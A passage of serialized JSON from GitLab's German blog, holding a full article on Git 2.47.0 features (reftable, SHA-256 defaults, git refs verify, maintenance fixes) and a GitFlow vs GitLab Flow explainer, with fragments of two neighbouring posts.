eingeht, die andere Migrationstools nicht bewältigen können. Es wurde speziell für große Migrationen entwickelt und kann den kompletten DevSecOps-Lebenszyklus von GitLab integrieren  – anders als die meisten anderen Tools, die nur Projektmanagementdaten migrieren können. Da das Tool benutzerdefinierte Workflows abbilden und CI/CD-Pipelines integrieren kann, ist es die perfekte Lösung für Unternehmen, die ihre Entwicklungs-Workflows verbessern und gleichzeitig zu GitLab migrieren möchten.\n\n> Bist du bereit, deine Entwicklungsprozesse mit GitLab zu skalieren? Sieh dir unseren [Katalog für professionelle Services](https://about.gitlab.com/services/catalog/) an, um zu erfahren, wie wir deinem Team bei einer effizienten und effektiven Migration helfen können. Kontaktiere uns über das Formular am Ende dieser Seite, um eine personalisierte Demo von Jira2Lab von GitLab zu erhalten.\n",[2634],"Maximilien Belinga","2024-10-10","Von Jira zu GitLab wechseln: Der komplette Migrationsleitfaden 2025",[973,110,787,745,680],"Atlassians Preiserhöhungen treiben viele Teams zu Alternativen. Entdecke, warum GitLab die bessere Wahl für moderne DevSecOps-Teams ist - mit mehr Features, integrierten Sicherheitstools und transparenter Preisgestaltung. Inklusive Schritt-für-Schritt-Migration mit Jira2Lab.",{"slug":2640,"featured":92,"template":682},"seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale","content:de-de:blog:seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale.yml","Seamlessly Migrate From Jira To Gitlab With Jira2lab At Scale","de-de/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale.yml","de-de/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale",{"_path":2646,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2647,"content":2652,"config":2658,"_id":2660,"_type":16,"title":2661,"_source":17,"_file":2662,"_stem":2663,"_extension":20},"/de-de/blog/whats-new-in-git-2-47-0",{"title":2648,"description":2649,"ogTitle":2648,"ogDescription":2649,"noIndex":6,"ogImage":2291,"ogUrl":2650,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2650,"schema":2651},"Was gibt es Neues in Git 2.47.0?","Erfahre, was dich in der neuesten Version von Git erwartet, darunter neue globale Variablen zum Konfigurieren von Referenz- und Objekt-Hash-Formaten. Entdecke Beträge des Git-Teams von GitLab und der gesamten Git-Community.","https://about.gitlab.com/blog/whats-new-in-git-2-47-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was gibt es Neues in Git 2.47.0?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Justin Tobler\"}],\n        \"datePublished\": \"2024-10-07\",\n      }\n                  ",{"title":2648,"description":2649,"authors":2653,"heroImage":2291,"date":2654,"body":2655,"category":1033,"tags":2656,"updatedDate":2657},[1380],"2024-10-07","Das Git-Projekt hat kürzlich [Git v2.47.0](https://lore.kernel.org/git/xmqqa5fg9bsz.fsf@gitster.g/) veröffentlicht.\nWerfen wir einen Blick auf die wichtigsten Highlights dieser Version, die Beiträge des Git-Teams von GitLab und der gesamten Git-Community enthält.\n\n## Neue globale Konfigurationsoptionen\n\nWenn du die letzten Git-Releases verfolgt hast, kennst du wahrscheinlich auch das Referenz-Backend „reftable“, das mit der [Git-Version 2.45](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-45-0/) eingeführt wurde. Weitere Informationen findest du in unserem [Anfängerleitfaden zum reftables-Format von Git](https://about.gitlab.com/de-de/blog/a-beginners-guide-to-the-git-reftable-format/). Um ein Repository im reftables-Format zu initialisieren, musste früher die Option `--ref-format` an git-init(1) übergeben werden:\n\n```sh\n$ git init --ref-format reftable\n```\n\nMit Release 2.47 gibt es in Git nun die Konfigurationsoption `init.defaultRefFormat`, die Git sagt, welches Referenz-Backend bei der Initialisierung eines Repositorys verwendet werden soll. Damit kann das Standard-Backend „Files“ überschrieben werden und du kannst beginnen, das reftables-Backend zu nutzen. Die Konfiguration funktioniert folgendermaßen:\n\n```sh\n$ git config set --global init.defaultRefFormat reftable\n```\n\nWie einige vielleicht wissen, ist auch das von Git-Repositories verwendete Objekt-Hash-Format konfigurierbar. Standardmäßig werden Repositories so initialisiert, dass sie das SHA-1-Objektformat verwenden. Eine Alternative ist das SHA-256-Format, das sicherer und zukunftssicherer ist. Weitere Informationen hierzu findest du in einem unserer [früheren Blogbeiträge zum SHA-256-Support in Gitaly](https://about.gitlab.com/blog/sha256-support-in-gitaly/#what-is-sha-256%3F). Ein SHA-256-Repository kann erstellt werden, indem die Option `--object-format' an git-init (1) übergeben wird:\n\n```sh\n$ git init --object-format sha256\n```\n\nIn dieser Git-Version wurde `init.defaultObjectFormat` als weitere Konfigurationsoption hinzugefügt. Diese Option sagt Git, welches Objektformat bei der Initialisierung eines Repositorys standardmäßig verwendet werden soll. Die Konfiguration funktioniert folgendermaßen:\n\n```sh\n$ git config set --global init.defaultObjectFormat sha256\n```\n\nBemerkenswert ist, dass SHA-256-Repositories nicht mit SHA-1 kompatibel sind und nicht alle Forges das Hosting von SHA-256-Repositories unterstützen. GitLab hat kürzlich [experimentelle Unterstützung für SHA-256-Repositories](https://about.gitlab.com/blog/gitlab-now-supports-sha256-repositories/) angekündigt, wenn du diese ausprobieren möchtest.\n\nDiese Optionen bieten eine gute Möglichkeit, diese Repository-Funktionen zu nutzen, ohne bei jeder Initialisierung eines neuen Repositorys bewusst daran denken zu müssen.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## Neuer Unterbefehl für git-refs(1)\n\nIn der vorherigen Git-Version wurde der Befehl [git-refs (1)](https://git-scm.com/docs/git-refs) eingeführt, um einen Low-Level-Zugriff auf Referenzen in einem Repository zu ermöglichen und den Unterbefehl „migrate“ einzuführen, um zwischen den Referenz-Backends zu wechseln. In dieser Version wird der neue Unterbefehl „verify“ eingeführt, mit dem Benutzer(innen) die Referenzdatenbank auf Konsistenz überprüfen können. Um die Konsistenz eines Repositorys zu überprüfen, führen wir oft [git-fsck(1)](https://git-scm.com/docs/git-fsck) aus.\n\nDabei ist bemerkenswert, dass dieser Befehl die Referenzdatenbank des Repositorys jedoch nicht explizit verifiziert. Mit der Einführung des reftables-Referenzformats, das ein Binärformat ist und daher schwerer manuell zu überprüfen ist, ist es jetzt noch wichtiger, dass Werkzeuge zur Verfügung stehen, um diese Lücke zu schließen. Um das zu zeigen, wollen wir ein Repository mit einer ungültigen Referenz einrichten:\n\n```sh\n# Da das Backend \"files\" verwendet wird, können wir einfach eine ungültige Referenz erstellen.\n$ git init --ref-format files\n$ git commit --allow-empty -m \"init\"\n# Ein einzelnes '@' ist kein gültiger Referenzname.\n$ cp .git/refs/heads/main .git/refs/heads/@\n$ git refs verify\nerror: refs/heads/@: badRefName: invalid refname format\n```\n\nWir sehen hier, dass eine ungültige Referenz erkannt wurde und daher eine Fehlernachricht ausgegeben wird. Diese Werkzeuge werden zwar eher nicht von Endbenutzer(innen) ausgeführt, aber trotzdem sind sie insbesondere serverseitig praktisch, um sicherzustellen, dass Repositories konsistent bleiben. Das Ziel ist schlussendlich, diesen Befehl als Teil von git-fsck(1) zu integrieren und dadurch eine vereinheitlichte Möglichkeit zu schaffen, Konsistenzüberprüfungen von Repositories durchzuführen.\n\nDieses Projekt wurde von Jialuo She im Rahmen des Google Summer of Code geleitet. Weitere Informationen findest du im [GSoC-Bericht](https://luolibrary.com/2024/08/25/GSoC-Final-Report/) von Jialuo.\n\n## Laufende reftables-Arbeit\n\nDiese Version enthält auch Korrekturen für einige Fehler, die im reftables-Backend gefunden wurden. Einer dieser Fehler ist besonders interessant, denn er beeinflusst, wie die Tabellenkomprimierung durchgeführt wurde.\n\nDu erinnerst dich vielleicht daran, dass das reftables-Backend aus einer Reihe von Tabellen besteht, die den Status aller Referenzen im Repository enthalten. Jeder atomare Satz an Referenzenänderungen führt dazu, dass eine neue Tabelle geschrieben und in der Datei „tables.list“ erfasst wird. Um die Anzahl der vorhandenen Tabellen zu reduzieren, werden die Tabellen nach jeder Referenzaktualisierung komprimiert und geometrisch nach Dateigröße geordnet. Nachdem die Tabellen komprimiert wurden, wird die Datei „tables.list“ mit dem neuen Status der reftables auf dem Laufwerk aktualisiert.\n\nDas System ist so konzipiert, dass es gleichzeitig möglich ist, Tabellen zu schreiben und zu komprimieren. Die Synchronisation an bestimmten Punkten wird durch Lock-Dateien gesteuert. Wenn beispielsweise eine Komprimierung gestartet wird, wird die Datei „tables.list“ von vorneherein gesperrt, sodass die Datei konsistent gelesen werden kann und auch die Tabellen, die komprimiert werden müssen, gesperrt werden können. Da die eigentliche Tabellenkomprimierung etwas dauern kann, wird die Sperre aufgehoben, sodass gleichzeitige Schreibvorgänge fortgesetzt werden können. Das ist sicher, da gleichzeitige Schreiber(innen) wissen, dass sie die nun gesperrten Tabellen, die komprimiert werden sollen, nicht verändern dürfen. Wenn die neu komprimierten Tabellen fertig geschrieben wurden, wird die Datei „tables.list“ wieder gesperrt und wird dieses Mal aktualisiert, damit der neue Tabellenzustand angezeigt wird.\n\nEs gibt jedoch ein Problem: Was passiert, wenn bei einer gleichzeitigen Referenzaktualisierung eine neue Tabelle in die „tables.list“ geschrieben wird, während eine Tabellenkomprimierung läuft, nachdem die ursprüngliche Sperre aufgehoben wurde, aber bevor die neue Listendatei geschrieben wird? Wenn diese Situation eintreten würde, würde der Komprimierungsprozess nichts von der neuen Tabelle wissen und daher die Datei „tables.list“ ohne die neue Tabelle neu schreiben. Das verhindert in weiterer Folge die gleichzeitige Aktualisierung und könnte dazu führen, dass Referenzen nicht wie erwartet hinzugefügt, aktualisiert oder entfernt werden.\n\nGlücklicherweise ist die Lösung dieses Problems ziemlich einfach. Wenn der Komprimierungsvorgang die Sperre erhält, um in die „tables.list“ zu schreiben, muss er zuerst überprüfen, ob Aktualisierungen an der Datei vorgenommen wurden und dann die Datei neu laden. Auf diese Weise wird sichergestellt, dass alle gleichzeitigen Tabellenaktualisierungen auch entsprechend einbezogen werden. Weitere Informationen zu diesem Fix findest du im entsprechenden [Mailinglisten-Thread](https://lore.kernel.org/git/cover.1722435214.git.ps@pks.im/).\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## Fixes für git-maintenance(1)\n\nWenn ein Repository wächst, ist es wichtig, dass es ordnungsgemäß gewartet wird. Standardmäßig führt Git [git-maintenance(1)](https://git-scm.com/docs/git-maintenance) nach bestimmten Operationen aus, damit der Zustand des Repositorys gesund bleibt. Um unnötige Wartung zu vermeiden, wird die Option `--auto` angegeben. Sie nutzt definierte Heuristiken, um zu bestimmen, ob Wartungsaufgaben ausgeführt werden sollen. Der Befehl kann so konfiguriert werden, dass er verschiedene Wartungsaufgaben durchführt. Standardmäßig führt er aber einfach [git-gc(1)](https://git-scm.com/docs/git-gc) im Hintergrund aus und ermöglicht es den Benutzer(innen), mit ihren Aufgaben fortzufahren.\n\nDies funktioniert wie erwartet, bis die Wartung für nicht standardmäßige Wartungsaufgaben konfiguriert ist. Wenn das passiert, werden die konfigurierten Wartungsaufgaben im Vordergrund ausgeführt und der ursprüngliche Wartungsprozess wird erst beendet, wenn alle Aufgaben abgeschlossen sind. Nur die Aufgabe „gc“ wird wie erwartet in den Hintergrund verschoben. Es hat sich gezeigt, dass sich git-gc(1), wenn es mit `--auto` ausgeführt wird, aus Versehen selbst verschob und andere Wartungsaufgaben keine Möglichkeit dazu hatten. Dies hatte das Potenzial, bestimmte Git-Befehle zu verlangsamen, da die automatische Wartung erst vollständig abgeschlossen werden musste, bevor sie beendet werden konnten.\n\nIn dieser Release wird das Problem behoben, indem git-maintenance(1) nun die Option `--detach` beigebracht wird, mit der der gesamte git-maintenance(1)-Prozess im Hintergrund läuft und nicht mehr nur einzelne Aufgaben. Die von Git durchgeführte automatische Wartung wurde ebenfalls aktualisiert, um diese neue Option zu verwenden. Weitere Informationen zu diesem Fix findest du im entsprechenden [Mailinglisten-Thread](https://lore.kernel.org/git/cover.1723533091.git.ps@pks.im/).\n\nWeiter oben wurde erwähnt, dass die automatische Wartung eine Reihe von Heuristiken verwendet, um festzustellen, ob bestimmte Wartungsvorgänge durchgeführt werden sollen oder nicht. Leider gibt es für das „files“-Referenz-Backend, wenn [git-pack-refs(1)](https://git-scm.com/docs/git-pack-refs) mit der Option `--auto` durchgeführt wird, keine solche Heuristik und lose Referenzen werden bedingungslos in eine „packed-refs“-Datei verpackt. Bei Repositories mit vielen Referenzen kann das erneute Schreiben der Datei „pack-refs“ ziemlich lange dauern.\n\nIn dieser Version wird daher eine Heuristik eingeführt, die entscheidet, ob lose Referenzen im „files“-Backend verpackt werden sollen. Diese Heuristik berücksichtigt die Größe der bestehenden „packed-refs“-Datei sowie die Anzahl der losen Referenzen im Repository. Je größer die „packed-refs“-Datei wird, umso höher wird die Schwelle für die Anzahl der losen Referenzen, bevor diese verpackt werden. Dadurch wird die Referenzverpackung im „files“-Backend weniger aggressiv und das Repository bleibt trotzdem gewartet. Sieh dir den entsprechenden [Mailinglisten-Thread](https://lore.kernel.org/git/cover.1725280479.git.ps@pks.im/) an, um mehr darüber zu erfahren.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## Code-Refactoring und Verbesserungen der Wartbarkeit\n\nNeben funktionalen Änderungen wird auch an der Refaktorisierung gearbeitet und der Code wird bereinigt. Diese Verbesserungen sind wichtig, da sie dazu beitragen, dem Ziel des Projektes – die Libifizierung der internen Komponenten – näherzukommen. Hier findest du einen aktuellen [Update-Thread](https://lore.kernel.org/git/eoy2sjhnul57g6crprxi3etgeuacjmgxpl4yllstih7woyuebm@bd62ib3fi2ju/) zum Thema Libifizierung.\n\nEin Verbesserungsbereich war, Speicherlecks zu beheben. Das Git-Projekt weist einige Speicherlecks auf. In den meisten Fällen verursachen diese Lecks keine großen Probleme, da ein Git-Prozess normalerweise nur für eine kurze Zeit läuft und das System danach bereinigt wird, aber im Zusammenhang mit der Libifizierung sollte dies behoben werden. Tests im Projekt können mit einem Leck-Erkenner kombiniert werden, um Lecks zu erkennen. Aufgrund bestehender Lecks kann es jedoch schwierig zu validieren und durchzusetzen sein, dass neue Änderungen keine neuen Lecks einführen. Wir arbeiten kontinuierlich daran, alle Speicherlecks, die durch bestehende Tests im Projekt aufgedeckt werden, zu beheben. Leckfreie Tests werden anschließend mit `TEST_PASSES_SANITIZE_LEAK=true` gekennzeichnet, um anzuzeigen, dass sie in Zukunft voraussichtlich leckfrei sind. Vor dieser Release hatte das Projekt 223 Testdateien, die Speicherlecks enthielten. Mit dieser Version wurde die Zahl jetzt auf nur noch 60 gesenkt.\n\nAußerdem arbeiten wir weiterhin daran, die Verwendung globaler Variablen im gesamten Projekt zu reduzieren. Eine solche berüchtigte globale Variable ist `the_repository`, die den Status des Repositorys enthält, auf dem gearbeitet wird, und auf die im gesamten Projekt verwiesen wird. Diese Release enthält eine Reihe von Patches, mit denen `the_repository` entfernt und der Wert bei Bedarf direkt weitergegeben wird. Für Subsysteme im Git-Projekt, die immer noch von `the_repository` abhängig sind, ist `USE_THE_REPOSITORY_VARIABLE` definiert, sodass es global verwendet werden kann. Jetzt sind die Subsysteme refs, config und path nicht mehr auf deren Verwendung angewiesen.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) mit Unterstützung von [John Cai](https://gitlab.com/jcaigitlab) und [Jeff King](https://github.com/peff) geleitet.\n\n## Weiterlesen\n\nIn diesem Blogbeitrag werden nur einige der Beiträge von GitLab und der breiteren Git-Community für diese neueste Release vorgestellt. Mehr darüber erfährst du in der [offiziellen Release-Ankündigung](https://lore.kernel.org/git/xmqqa5fg9bsz.fsf@gitster.g/). Sieh dir auch unsere [letzten Blogbeiträge zu Git-Releases](https://about.gitlab.com/blog/tags/git/) an, um weitere wichtige Beiträge von GitLab-Teammitgliedern zu entdecken.\n\n- [Was gibt es Neues in Git 2.46.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-46-0/)\n- [Was gibt es Neues in Git 2.45.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-45-0/)\n- [Ein Anfängerleitfaden zum reftables-Format von Git](https://about.gitlab.com/de-de/blog/a-beginners-guide-to-the-git-reftable-format/)\n- [Git pull oder git fetch: Was ist der Unterschied?](https://about.gitlab.com/blog/git-pull-vs-git-fetch-whats-the-difference/)",[849,913,270],"2024-11-05",{"slug":2659,"featured":92,"template":682},"whats-new-in-git-2-47-0","content:de-de:blog:whats-new-in-git-2-47-0.yml","Whats New In Git 2 47 0","de-de/blog/whats-new-in-git-2-47-0.yml","de-de/blog/whats-new-in-git-2-47-0",{"_path":2665,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2666,"content":2672,"config":2678,"_id":2680,"_type":16,"title":2681,"_source":17,"_file":2682,"_stem":2683,"_extension":20},"/de-de/blog/what-is-gitflow",{"ogTitle":2667,"schema":2668,"ogImage":2669,"ogDescription":2670,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2671,"title":2667,"canonicalUrls":2671,"description":2670},"Was ist GitFlow? Ein Leitfaden inkl. Beispiel","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was ist GitFlow?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2024-09-27\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659838/Blog/Hero%20Images/AdobeStock_662057734.jpg","Wir zeigen dir, was sich hinter GitFlow verbirgt. ✓ Definition ✓ Funktionsweise ✓ GitFlow vs. GitLab Flow ✓ Vorteile ✓ Beispiel ➤ Jetzt Leitfaden lesen!","https://about.gitlab.com/blog/what-is-gitflow",{"heroImage":2669,"body":2673,"authors":2674,"updatedDate":1510,"date":2675,"title":2667,"tags":2676,"description":2677,"category":1033},"In GitFlow erstellen Entwickler(innen) zusätzlich zum „`main`“-Branch (Produktionszweig) einen separaten „`develop`“-Branch und legen diesen als Standard fest. In [GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) kannst du jedoch sofort mit der Arbeit am `main`\\-Branch beginnen. [GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) enthält einen Vorproduktionsbranch, `main`. Du kannst Änderungen in einen Branch zusammenführen und Fehler beheben, bevor du mit der Produktion beginnst. Teams können beliebig viele Vorproduktionsbranches hinzufügen: z. B. von `main` zum Test, vom Test zur Genehmigung oder von der Genehmigung zur Produktion. \n\nHier erklären wir klar und deutlich die Unterschiede zwischen GitFlow und [GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/), was GitFlow ist, wie GitFlow funktioniert, welche Vorteile seine Verwendung bietet und beantworten häufig gestellte Fragen. \n\n## Inhaltsverzeichnis\n\n- [Was ist GitFlow?](#was-ist-gitflow%3F)\n- [So funktioniert GitFlow](#so-funktioniert-gitflow)\n- [Was ist der Unterschied zwischen GitFlow und GitLab Flow?](#was-ist-der-unterschied-zwischen-gitflow-und-gitlab-flow%3F)\n  - [GitFlow-Workflow](#gitflow-workflow)\n  - [GitLab-Flow-Workflow](#gitlab-flow-workflow)\n- [Vorteile der Verwendung und Funktionen von GitFlow](#vorteile-der-verwendung-und-funktionen-von-gitflow)\n  - [Vorteil 1: Fehlerbehebungen werden schneller verarbeitet](#vorteil-1-fehlerbehebungen-werden-schneller-verarbeitet)\n  - [Vorteil 2: Garantierte Tests](#vorteil-2-garantierte-tests)\n  - [Vorteil 3: Rationalisierung des Softwareentwicklungsprozesses](#vorteil-3-rationalisierung-des-softwareentwicklungsprozesses)\n  - [Vorteil 4: Effektivere Zusammenarbeit, Konfliktlösung und kontinuierliche Lieferung](#vorteil-4-effektivere-zusammenarbeit-konfliktlösung-und-kontinuierliche-lieferung)\n- [GitFlow-Beispiel](#gitflow-beispiel)\n- [GitLab-Flow- und GitFlow-FAQs (häufig gestellte Fragen)](#gitlab-flow--und-gitflow-faqs-(häufig-gestellte-fragen))\n  - [F: Was ist Git Feature Flow?](#f-was-ist-git-feature-flow%3F)\n  - [F: Lohnt es sich, GitLab Flow zu verwenden?](#f-lohnt-es-sich-gitlab-flow-zu-verwenden%3F)\n  - [F: Welche Option passt besser für mich: GitLab Flow oder GitFlow?](#f-welche-option-passt-besser-für-mich-gitlab-flow-oder-gitflow%3F)\n- [Verwandte Artikel](#verwandte-artikel)\n- [Beginne noch heute mit GitLab](#beginne-noch-heute-mit-gitlab)\n\n## Was ist GitFlow?\n\nGitFlow ist ein Git-Workflow, der Git-Braches (verteiltes Versionskontrollsystem) verwaltet und ein Branchingmodell eines Repositorys in Git. Es wurde entwickelt, um die Komplexität des Software-Release-Managements zu vereinfachen und wurde erstmals im Jahr 2010 von Vincent Driessen verwendet. Besonders größere Teams finden es hilfreich. \n\n## So funktioniert GitFlow\n\nIm Vergleich zur Trunk-basierten Entwicklung verfügt GitFlow über persistente Branches und große Commits. GitFlow kann für Projekte mit festen Release-Zyklen und für bewährte [DevOps](https://about.gitlab.com/de-de/solutions/devops-platform/)\\-Methoden für die kontinuierliche Bereitstellung verwendet werden. GitFlow verfügt über einen strukturierten Workflow, sodass du deine Branches definieren kannst, indem du beispielsweise Feature-Branches zu deinen Entwicklungs- und Hauptbranches hinzufügst, dann einen Release-Branch hinzufügst usw. Dadurch wird es für dein Team einfacher, die Struktur zu verstehen und zu erkennen, wo in der Entwicklungspipeline Änderungen vorgenommen werden müssen. \n\n## Was ist der Unterschied zwischen GitFlow und GitLab Flow?\n\nGitFlow ist ein Branchingmodell für Git, das zusätzlich zu Feature-Branches mehrere main-Branches verwendet. [GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) löst die Probleme, die GitFlow hatte, und ermöglicht Teammitgliedern, effizienter zu arbeiten. Sehen wir uns die Unterschiede im Workflow im Detail an. \n\n### GitFlow-Workflow\n\nDer GitFlow-Workflow hat fünf Branches: \n\n1. main\u003Cbr>\n2. develop\u003Cbr>\n3. feature\u003Cbr>\n4. release\u003Cbr>\n5. hotfix\u003Cbr>\n\nWenn du GitFlow zur Code-Entwicklung verwendest, hast du einen main-Branch und alle unterstützenden Branches. Der main-Branch hat zwei Branches: den main-Branch für die Veröffentlichung des Produkts und den develop-Branch für die Verwaltung des in Entwicklung befindlichen Quellcodes. Wir stabilisieren den Code im develop-Branch und führen ihn dann in den main-Branch zusammen, wenn er zur Veröffentlichung bereit ist. Im support-Branch erstellen wir Branches wie feature, release und hotfix und fahren mit den einzelnen Arbeiten fort. \n\n### GitLab-Flow-Workflow\n[GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) rationalisiert die Entwicklung, indem es den Aufwand für Freigabe, Markierung, Zusammenführung usw. eliminiert. \n\n[GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) ist eine vereinfachte Version von GitFlow, die funktionszentrierte Entwicklung mit Funktionen zur Problemverfolgung kombiniert. [GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) macht deine Arbeit einfach, klar und effizient. [GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) enthält bewährte Methoden, die Softwareentwicklungsteams dabei helfen, Funktionen reibungslos zu veröffentlichen. \n\n[GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) ist der Workflow, der in der GitLab-Entwicklung verwendet wird, und der `main`\\-Branch, ein `pre-production`, einen Branch für Tests vor der Veröffentlichung, `production`, der den veröffentlichten Code verwaltet, und `feature`/`hotfix`, der für die Entwicklung von Funktionen und die Behebung von Fehlern verwendet wird. Teams können beliebig viele Vorproduktionsbranches hinzufügen. Du kannst beispielsweise einen Ablauf von `main` zu Test, von Test zu Approval und von Approval zu Produktion erstellen. \n\nDas Team erstellt Feature-Branches und pflegt gleichzeitig den Produktionsbranch. Sobald der main-Branch zur Bereitstellung bereit ist, führst du ihn in den Produktionszweig zusammen und gibst ihn frei. [GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) kann auch in Release-Branches verwendet werden. Teams, die eine öffentliche API benötigen, müssen jedoch verschiedene Versionen verwalten. Mit [GitLab Flow](https://about.gitlab.com/de-de/topics/version-control/what-is-gitlab-flow/) können Sie jedoch v1- und v2-Branches erstellen, die separat verwaltet werden können, sodass Sie zu v1 zurückkehren können, wenn Sie während der Codeüberprüfung einen Fehler finden, was sehr praktisch ist. \n\n## Vorteile der Verwendung und Funktionen von GitFlow\n### Vorteil 1: Fehlerbehebungen werden schneller verarbeitet\n\nEiner der Vorteile der Verwendung von GitFlow besteht darin, dass Fehlerbehebungen in der Produktion schnell verarbeitet werden können. GitFlow ist ein Workflow zur Verwendung von Git (einem verteilten Versionskontrollsystem) bei der Entwicklung komplexer Software in großen Teams. \n\n### Vorteil 2: Garantierte Tests\n\nWenn du Software aus einem Release-Branch veröffentlichst, kannst du einen Zeitraum festlegen, während dessen Benutzer(innen) sie in einer Staging-Umgebung testen können. Dies kann unabhängig von der Code-Entwicklung erfolgen. Und da Commits nachgelagert sind, kannst du sicher sein, dass sie in allen Umgebungen getestet wurden. \n\n### Vorteil 3: Rationalisierung des Softwareentwicklungsprozesses\n\nGitFlow hilft dir, das Beste aus Git herauszuholen. So kannst du den Softwareentwicklungsprozess optimieren. \n\n### Vorteil 4: Effektivere Zusammenarbeit, Konfliktlösung und kontinuierliche Lieferung\n\nDurch die Einführung von GitFlow kann die Zusammenarbeit effizienter gestaltet werden. Zusammenführungskonflikte können schnell gelöst werden, wodurch eine kontinuierliche Lieferung ermöglicht wird. \n\n## GitFlow-Beispiel\nDas folgende Diagramm zeigt ein Beispiel einer GitFlow-Konfiguration. Das Gesamtkonzept und die Struktur der einzelnen Branches sind sicher verständlich. \n\n![AdobeStock 569852816](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673714/Blog/Content%20Images/AdobeStock_569852816.jpg)\n\n## GitLab-Flow- und GitFlow-FAQs (häufig gestellte Fragen) \n\n### F: Was ist Git Feature Flow? \nA: Es ist einer der für die Verwendung von Git vorgeschlagen Entwicklungsabläufe. Für eine einfache Entwicklung kann Git Feature Flow verwendet werden. \n\n### F: Lohnt es sich, GitLab Flow zu verwenden? \n\nA: Ja. GitLab Flow reduziert den Aufwand für Veröffentlichung, Taggen, Zusammenführen und mehr. Dies sind Probleme, die häufig in anderen Git-Workflows auftreten. Weitere Informationen findest du [hier](https://about.gitlab.com/de-de/topics/version-control/what-are-gitlab-flow-best-practices/). \n\n### F: Welche Option passt besser für mich: GitLab Flow oder GitFlow? \n\nA: Aufgrund seiner Struktur eignet sich GitFlow besser für große Projekte mit klar getrennten Entwicklungsphasen, während GitLab Flow agiler ist und sich besser für Projekte eignet, bei denen kontinuierliche Lieferung und schnelle Releases im Vordergrund stehen. \n\n## Verwandte Artikel\n\n[Über GitLab DevSecOps](https://about.gitlab.com/de-de/)\n\n## Beginne noch heute mit GitLab\n\nWeitere Informationen zu Git und Versionskontrolle findest du [hier](https://about.gitlab.com/resources/). Möchtest du erfahren, welche Möglichkeiten eine integrierte DevSecOps-Plattform für dein Team bietet? \n\n[Kostenlose Testversion anfordern](https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com)\n",[1530],"2024-09-27",[849,913],"Wir stellen die Unterschiede zwischen GitFlow und GitLab Flow vor, erklären, was GitFlow ist, wie GitFlow funktioniert, welche Vorteile seine Verwendung bietet (inklusive FAQ)",{"slug":2679,"featured":6,"template":682},"what-is-gitflow","content:de-de:blog:what-is-gitflow.yml","What Is Gitflow","de-de/blog/what-is-gitflow.yml","de-de/blog/what-is-gitflow",{"_path":2685,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2686,"content":2692,"config":2698,"_id":2700,"_type":16,"title":2701,"_source":17,"_file":2702,"_stem":2703,"_extension":20},"/de-de/blog/using-child-pipelines-to-continuously-deploy-to-five-environments",{"title":2687,"description":2688,"ogTitle":2687,"ogDescription":2688,"noIndex":6,"ogImage":2689,"ogUrl":2690,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2690,"schema":2691},"Kontinuierliche Bereitstellung in fünf Umgebungen mithilfe von untergeordneten Pipelines","Erfahre, wie du die kontinuierliche Bereitstellung in verschiedenen Umgebungen – darunter temporäre, sofort einsatzbereite Sandboxes – mit einem minimalistischen GitLab-Workflow verwalten kannst.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097012/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_397632156_3Ldy1urjMStQCl4qnOBvE0_1750097011626.jpg","https://about.gitlab.com/blog/using-child-pipelines-to-continuously-deploy-to-five-environments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kontinuierliche Bereitstellung in fünf Umgebungen mithilfe von untergeordneten Pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Olivier Dupré\"}],\n        \"datePublished\": \"2024-09-26\",\n      }",{"title":2687,"description":2688,"authors":2693,"heroImage":2689,"date":2695,"body":2696,"category":847,"tags":2697,"updatedDate":2657},[2694],"Olivier Dupré","2024-09-26","Manchmal brauchen DevSecOps-Teams die Möglichkeit, die kontinuierliche Bereitstellung über mehrere Umgebungen übergreifend zu verwalten, ohne dabei ihre Workflows zu verändern. Die [DevSecOps-Plattform von GitLab](https://about.gitlab.com/de-de/) macht dies mit einem minimalistischen Ansatz möglich, unter anderem für temporäre, sofort einsatzbereite Sandboxes. In diesem Artikel erfährst du, wie du die kontinuierliche Bereitstellung der Infrastruktur mit Terraform in verschiedenen Umgebungen ausführen 